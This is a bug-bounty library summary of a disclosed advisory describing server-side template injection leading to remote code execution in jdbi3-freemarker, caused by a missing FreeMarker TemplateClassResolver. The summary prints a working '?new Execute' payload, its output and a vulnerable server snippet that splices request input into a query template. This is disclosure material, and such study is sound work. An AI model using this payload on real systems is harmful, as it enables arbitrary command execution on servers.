# jdbi3-freemarker Vulnerable to Improper Neutralization of Special Elements Used in FreeMarker Template Engine

jdbi3-freemarker builds FreeMarker Configuration without a TemplateClassResolver, so attacker-influenced SQL template source can use ?new to instantiate Execute and run OS commands.

- Payout: Research
- Severity: high
- Program: Jdbi
- Found by: wodzen
- Disclosed: 2026-05-05
- Write-up quality: 7/10
- Original: https://github.com/advisories/GHSA-mggx-p7jf-jgw4
- Library page: https://bugbountylibrary.com/r/ghsa%3AGHSA-mggx-p7jf-jgw4
- Tags: area:oss domain:oss impact:rce kind:research platform:ghsa sev:high tech:java technique:source-review vuln:rce vuln:ssti

**Target:** jdbi3-freemarker SQL template engine (FreemarkerEngine.parse)
**Root cause:** Both Configuration instances in FreemarkerConfig and FreemarkerSqlLocator are created with DEFAULT_INCOMPATIBLE_IMPROVEMENTS and never set a TemplateClassResolver, leaving FreeMarker's legacy UNRESTRICTED_RESOLVER active so the ?new built-in can instantiate arbitrary classes.
**Steps:**
1. Set up a Jdbi handle with `setTemplateEngine(FreemarkerEngine.instance())` and pass request-derived text into `h.createQuery(sql)` where sql is a FreeMarker template body.
2. Send `q=<#assign ex="freemarker.template.utility.Execute"?new()>${ex("touch /tmp/jdbi-pwned")}` to the endpoint.
3. FreeMarker renders the template, ?new instantiates Execute, and the command runs in the application JVM.
**How found:** Code review of the module's Configuration construction: noticed no TemplateClassResolver is installed and DEFAULT_INCOMPATIBLE_IMPROVEMENTS keeps the legacy unrestricted resolver, making ?new reflective class loading reachable from template source; also noted the static CONFIGURATION in FreemarkerSqlLocator cannot be overridden at runtime.
**Exploitation:** Attacker-controlled text reaching FreemarkerEngine.parse() as template source (directly via createQuery/createUpdate/createCall/createScript/Batch.add, or via a @Define attribute later ?eval/?interpret-ed) is rendered; the ?new built-in instantiates freemarker.template.utility.Execute and invokes it with an OS command, yielding command execution in the app JVM.
**Insight:** When a library wraps a template engine, check whether it sets a TemplateClassResolver/class-resolver policy on every Configuration it constructs — including static/legacy ones not reachable via setters — since FreeMarker defaults to unrestricted ?new and Execute is a one-gadget RCE.

## Proof of concept (copied exactly from the original report)

**FreeMarker RCE payload via ?new Execute**

```
--data-urlencode 'q=<#assign ex="freemarker.template.utility.Execute"?new()>${ex("touch /tmp/jdbi-pwned")}'
[alice@example.com, bob@example.com]

$ ls -la /tmp/jdbi-pwned
-rw-r--r-- 1 wodzen wodzen 0 Apr 27 02:21 /tmp/jdbi-pwned
```

**Vulnerable Server.java passing request to createQuery**

```
String q = parseQuery(ex.getRequestURI().getRawQuery()).getOrDefault("q", "");
            String sql = "select email from users where email like '%" + q + "%'";
            String body;
            try {
                body = jdbi.withHandle(h ->
                    h.createQuery(sql).mapTo(String.class).list().toString());
```

